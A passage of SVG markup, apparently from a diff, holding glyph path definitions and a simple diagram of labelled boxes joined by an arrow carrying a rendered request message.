2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 3.3125 -3.203125 L 3.6875 -1.4375 L 3.78125 -1.4375 L 4.046875 -3.203125 L 5.421875 -9.03125 L 6.734375 -9.03125 L 4.59375 -0.921875 C 4.414062 -0.273438 4.242188 0.328125 4.078125 0.890625 C 3.910156 1.460938 3.726562 1.957031 3.53125 2.375 C 3.332031 2.789062 3.109375 3.113281 2.859375 3.34375 C 2.617188 3.582031 2.328125 3.703125 1.984375 3.703125 C 1.648438 3.703125 1.359375 3.648438 1.109375 3.546875 L 1.3125 2.3125 C 1.488281 2.375 1.660156 2.382812 1.828125 2.34375 C 1.992188 2.3125 2.148438 2.207031 2.296875 2.03125 C 2.453125 1.863281 2.59375 1.613281 2.71875 1.28125 C 2.84375 0.957031 2.953125 0.53125 3.046875 0 L 0.125 -9.03125 L 1.609375 -9.03125 Z M 3.3125 -3.203125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 1.828125 -12.640625 L 3.171875 -12.640625 L 3.171875 -6.375 L 2.90625 -3.203125 L 2.09375 -3.203125 L 1.828125 -6.375 Z M 1.59375 -0.8125 C 1.59375 -1.144531 1.671875 -1.394531 1.828125 -1.5625 C 1.992188 -1.738281 2.21875 -1.828125 2.5 -1.828125 C 2.769531 -1.828125 2.984375 -1.738281 3.140625 -1.5625 C 3.304688 -1.394531 3.390625 -1.144531 3.390625 -0.8125 C 3.390625 -0.457031 3.304688 -0.195312 3.140625 -0.03125 C 2.984375 0.132812 2.769531 0.21875 2.5 0.21875 C 2.21875 0.21875 1.992188 0.132812 1.828125 -0.03125 C 1.671875 -0.195312 1.59375 -0.457031 1.59375 -0.8125 Z M 1.59375 -0.8125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 7.765625 -0.484375 C 7.460938 -0.234375 7.082031 -0.0546875 6.625 0.046875 C 6.164062 0.160156 5.6875 0.21875 5.1875 0.21875 C 4.550781 0.21875 3.957031 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.8125 1.3125 -2.488281 1.09375 -3.3125 C 0.882812 -4.144531 0.78125 -5.148438 0.78125 -6.328125 C 0.78125 -7.523438 0.898438 -8.539062 1.140625 -9.375 C 1.390625 -10.207031 1.71875 -10.878906 2.125 -11.390625 C 2.539062 -11.910156 3.015625 -12.285156 3.546875 -12.515625 C 4.085938 -12.742188 4.640625 -12.859375 5.203125 -12.859375 C 5.773438 -12.859375 6.25 -12.816406 6.625 -12.734375 C 7.007812 -12.648438 7.34375 -12.546875 7.625 -12.421875 L 7.296875 -11.203125 C 7.054688 -11.328125 6.769531 -11.425781 6.4375 -11.5 C 6.113281 -11.570312 5.742188 -11.609375 5.328125 -11.609375 C 4.910156 -11.609375 4.515625 -11.515625 4.140625 -11.328125 C 3.765625 -11.140625 3.429688 -10.835938 3.140625 -10.421875 C 2.847656 -10.015625 2.617188 -9.472656 2.453125 -8.796875 C 2.285156 -8.117188 2.203125 -7.296875 2.203125 -6.328125 C 2.203125 -4.566406 2.503906 -3.242188 3.109375 -2.359375 C 3.710938 -1.472656 4.515625 -1.03125 5.515625 -1.03125 C 5.921875 -1.03125 6.285156 -1.085938 6.609375 -1.203125 C 6.929688 -1.316406 7.207031 -1.453125 7.4375 -1.609375 Z M 7.765625 -0.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 1.421875 -12.640625 L 2.78125 -12.640625 L 2.78125 0 L 1.421875 0 Z M 1.421875 -12.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 1.296875 -12.640625 L 2.546875 -12.640625 L 2.078125 -9.15625 L 1.296875 -9.15625 Z M 1.296875 -12.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 6.046875 -0.453125 C 5.742188 -0.222656 5.398438 -0.0546875 5.015625 0.046875 C 4.628906 0.160156 4.226562 0.21875 3.8125 0.21875 C 3.226562 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.660156 1.375 -1.078125 C 1.132812 -1.492188 0.957031 -1.992188 0.84375 -2.578125 C 0.726562 -3.160156 0.671875 -3.804688 0.671875 -4.515625 C 0.671875 -6.054688 0.941406 -7.226562 1.484375 -8.03125 C 2.035156 -8.84375 2.820312 -9.25 3.84375 -9.25 C 4.3125 -9.25 4.710938 -9.207031 5.046875 -9.125 C 5.390625 -9.039062 5.679688 -8.929688 5.921875 -8.796875 L 5.5625 -7.65625 C 5.082031 -7.9375 4.554688 -8.078125 3.984375 -8.078125 C 3.335938 -8.078125 2.847656 -7.789062 2.515625 -7.21875 C 2.179688 -6.644531 2.015625 -5.742188 2.015625 -4.515625 C 2.015625 -4.023438 2.050781 -3.5625 2.125 -3.125 C 2.195312 -2.6875 2.316406 -2.304688 2.484375 -1.984375 C 2.660156 -1.671875 2.878906 -1.421875 3.140625 -1.234375 C 3.410156 -1.046875 3.742188 -0.953125 4.140625 -0.953125 C 4.453125 -0.953125 4.742188 -1.003906 5.015625 -1.109375 C 5.285156 -1.222656 5.503906 -1.351562 5.671875 -1.5 Z M 6.046875 -0.453125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 2.21875 -3.203125 C 2.1875 -3.722656 2.21875 -4.1875 2.3125 -4.59375 C 2.414062 -5.007812 2.554688 -5.390625 2.734375 -5.734375 C 2.921875 -6.078125 3.117188 -6.398438 3.328125 -6.703125 C 3.546875 -7.003906 3.75 -7.3125 3.9375 -7.625 C 4.132812 -7.945312 4.296875 -8.285156 4.421875 -8.640625 C 4.546875 -8.992188 4.609375 -9.394531 4.609375 -9.84375 C 4.609375 -10.394531 4.488281 -10.835938 4.25 -11.171875 C 4.007812 -11.515625 3.597656 -11.6875 3.015625 -11.6875 C 2.671875 -11.6875 2.328125 -11.625 1.984375 -11.5 C 1.648438 -11.375 1.347656 -11.210938 1.078125 -11.015625 L 0.578125 -12.03125 C 0.941406 -12.269531 1.335938 -12.46875 1.765625 -12.625 C 2.191406 -12.78125 2.710938 -12.859375 3.328125 -12.859375 C 4.191406 -12.859375 4.84375 -12.601562 5.28125 -12.09375 C 5.726562 -11.59375 5.953125 -10.90625 5.953125 -10.03125 C 5.953125 -9.507812 5.882812 -9.039062 5.75 -8.625 C 5.625 -8.21875 5.460938 -7.84375 5.265625 -7.5 C 5.078125 -7.15625 4.867188 -6.828125 4.640625 -6.515625 C 4.410156 -6.203125 4.195312 -5.878906 4 -5.546875 C 3.800781 -5.222656 3.632812 -4.867188 3.5 -4.484375 C 3.375 -4.109375 3.3125 -3.679688 3.3125 -3.203125 Z M 1.953125 -0.8125 C 1.953125 -1.144531 2.03125 -1.394531 2.1875 -1.5625 C 2.351562 -1.738281 2.578125 -1.828125 2.859375 -1.828125 C 3.128906 -1.828125 3.34375 -1.738281 3.5 -1.5625 C 3.664062 -1.394531 3.75 -1.144531 3.75 -0.8125 C 3.75 -0.457031 3.664062 -0.195312 3.5 -0.03125 C 3.34375 0.132812 3.128906 0.21875 2.859375 0.21875 C 2.578125 0.21875 2.351562 0.132812 2.1875 -0.03125 C 2.03125 -0.195312 1.953125 -0.457031 1.953125 -0.8125 Z M 1.953125 -0.8125 "/> +</symbol> +</g> +</defs> +<g id="surface7147"> +<rect x="0" y="0" width="441" height="201" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7 6 L 29 6 L 29 16 L 7 16 Z M 7 6 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 7 C 8.134375 7 8 7.134375 8 7.3 L 8 8.7 C 8 8.865625 8.134375 9 8.3 9 L 13.7 9 C 13.865625 9 14 8.865625 14 8.7 L 14 7.3 C 14 7.134375 13.865625 7 13.7 7 Z M 8.3 7 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="52.816406" y="49.00217"/> + <use xlink:href="#glyph0-2" x="62.260851" y="49.00217"/> + <use xlink:href="#glyph0-3" x="67.816406" y="49.00217"/> + <use xlink:href="#glyph0-4" x="76.427517" y="49.00217"/> + <use xlink:href="#glyph0-5" x="88.371962" y="49.00217"/> + <use xlink:href="#glyph0-6" x="95.316406" y="49.00217"/> + <use xlink:href="#glyph0-2" x="103.64974" y="49.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 7 C 22.134375 7 22 7.134375 22 7.3 L 22 8.7 C 22 8.865625 22.134375 9 22.3 9 L 27.7 9 C 27.865625 9 28 8.865625 28 8.7 L 28 7.3 C 28 7.134375 27.865625 7 27.7 7 Z M 22.3 7 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="321.429688" y="49.00217"/> + <use xlink:href="#glyph0-8" x="329.763021" y="49.00217"/> + <use xlink:href="#glyph0-9" x="337.540799" y="49.00217"/> + <use xlink:href="#glyph0-10" x="344.763021" y="49.00217"/> + <use xlink:href="#glyph0-11" x="353.65191" y="49.00217"/> + <use xlink:href="#glyph0-5" x="358.096354" y="49.00217"/> + <use xlink:href="#glyph0-6" x="365.040799" y="49.00217"/> + <use xlink:href="#glyph0-2" x="373.374132" y="49.00217"/> + <use xlink:href="#glyph0-12" x="378.929688" y="49.00217"/> + <use xlink:href="#glyph0-6" x="386.707465" y="49.00217"/> + <use xlink:href="#glyph0-2" x="395.040799" y="49.00217"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 9 L 11 13 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 9 L 25 13 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 11 L 24.45 11 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.45 11.25 L 24.95 11 L 24.45 10.75 Z M 24.45 11.25 " transform="matrix(20,0,0,20,-139,-119)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 130.550781 75.601562 L 311.449219 75.601562 L 311.449219 99 L 130.550781 99 Z M 130.550781 75.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="130.726562" y="94.008681"/> + <use xlink:href="#glyph1-2" x="140.448785" y="94.008681"/> + <use xlink:href="#glyph1-3" x="147.671007" y="94.008681"/> + <use xlink:href="#glyph1-4" x="154.337674" y="94.008681"/> + <use xlink:href="#glyph1-5" x="158.782118" y="94.008681"/> + <use xlink:href="#glyph1-6" x="162.671007" y="94.008681"/> + <use xlink:href="#glyph1-7" x="170.726562" y="94.008681"/> + <use xlink:href="#glyph1-8" x="177.948785" y="94.008681"/> + <use xlink:href="#glyph1-5" x="186.00434" y="94.008681"/> + <use xlink:href="#glyph1-9" x="189.893229" y="94.008681"/> + <use xlink:href="#glyph1-5" x="194.059896" y="94.008681"/> + <use xlink:href="#glyph1-10" x="197.948785" y="94.008681"/> + <use xlink:href="#glyph1-2" x="204.059896" y="94.008681"/> + <use xlink:href="#glyph1-2" x="211.282118" y="94.008681"/> + <use xlink:href="#glyph1-5" x="218.782118" y="94.008681"/> + <use xlink:href="#glyph1-11" x="222.671007" y="94.008681"/> + <use xlink:href="#glyph1-12" x="227.393229" y="94.008681"/> + <use xlink:href="#glyph1-13" x="235.171007" y="94.008681"/> + <use xlink:href="#glyph1-7" x="242.948785" y="94.008681"/> + <use xlink:href="#glyph1-3" x="250.171007" y="94.008681"/> + <use xlink:href="#glyph1-14" x="256.837674" y="94.008681"/> + <use xlink:href="#glyph1-10" x="259.059896" y="94.008681"/> + <use xlink:href="#glyph1-5" x="265.171007" y="94.008681"/> + <use xlink:href="#glyph1-15" x="269.059896" y="94.008681"/> + <use xlink:href="#glyph1-12" x="275.171007" y="94.008681"/> + <use xlink:href="#glyph1-16" x="282.948785" y="94.008681"/> + <use xlink:href="#glyph1-17" x="294.615451" y="94.008681"/> + <use xlink:href="#glyph1-15" x="298.50434" y="94.008681"/> + <use xlink:href="#glyph1-18" x="304.893229" y="94.008681"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 13 C 8.134375 13 8 13.134375 8 13.3 L 8 14.7 C 8 14.865625 8.134375 15 8.3 15 L 13.7 15 C 13.865625 15 14 14.865625 14 14.7 L 14 13.3 C 14 13.134375 13.865625 13 13.7 13 Z M 8.3 13 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="52.816406" y="169.00217"/> + <use xlink:href="#glyph0-2" x="62.260851" y="169.00217"/> + <use xlink:href="#glyph0-3" x="67.816406" y="169.00217"/> + <use xlink:href="#glyph0-4" x="76.427517" y="169.00217"/> + <use xlink:href="#glyph0-5" x="88.371962" y="169.00217"/> + <use xlink:href="#glyph0-6" x="95.316406" y="169.00217"/> + <use xlink:href="#glyph0-2" x="103.64974" y="169.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 13 C 22.134375 13 22 13.134375 22 13.3 L 22 14.7 C 22 14.865625 22.134375 15 22.3 15 L 27.7 15 C 27.865625 15 28 14.865625 28 14.7 L 28 13.3 C 28 13.134375 27.865625 13 27.7 13 Z M 22.3 13 " transform="matrix(20,0,0,20,-139,-119)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="321.429688" y="169.00217"/> + <use xlink:href="#glyph0-8" x="329.763021" y="169.00217"/> + <use xlink:href="#glyph0-9" x="337.540799" y="169.00217"/> + <use xlink:href="#glyph0-10" x="344.763021" y="169.00217"/> + <use xlink:href="#glyph0-11" x="353.65191" y="169.00217"/> + <use xlink:href="#glyph0-5" x="358.096354" y="169.00217"/> + <use xlink:href="#glyph0-6" x="365.040799" y="169.00217"/> + <use xlink:href="#glyph0-2" x="373.374132" y="169.00217"/> + <use xlink:href="#glyph0-12" x="378.929688" y="169.00217"/> + <use xlink:href="#glyph0-6" x="386.707465" y="169.00217"/> + <use 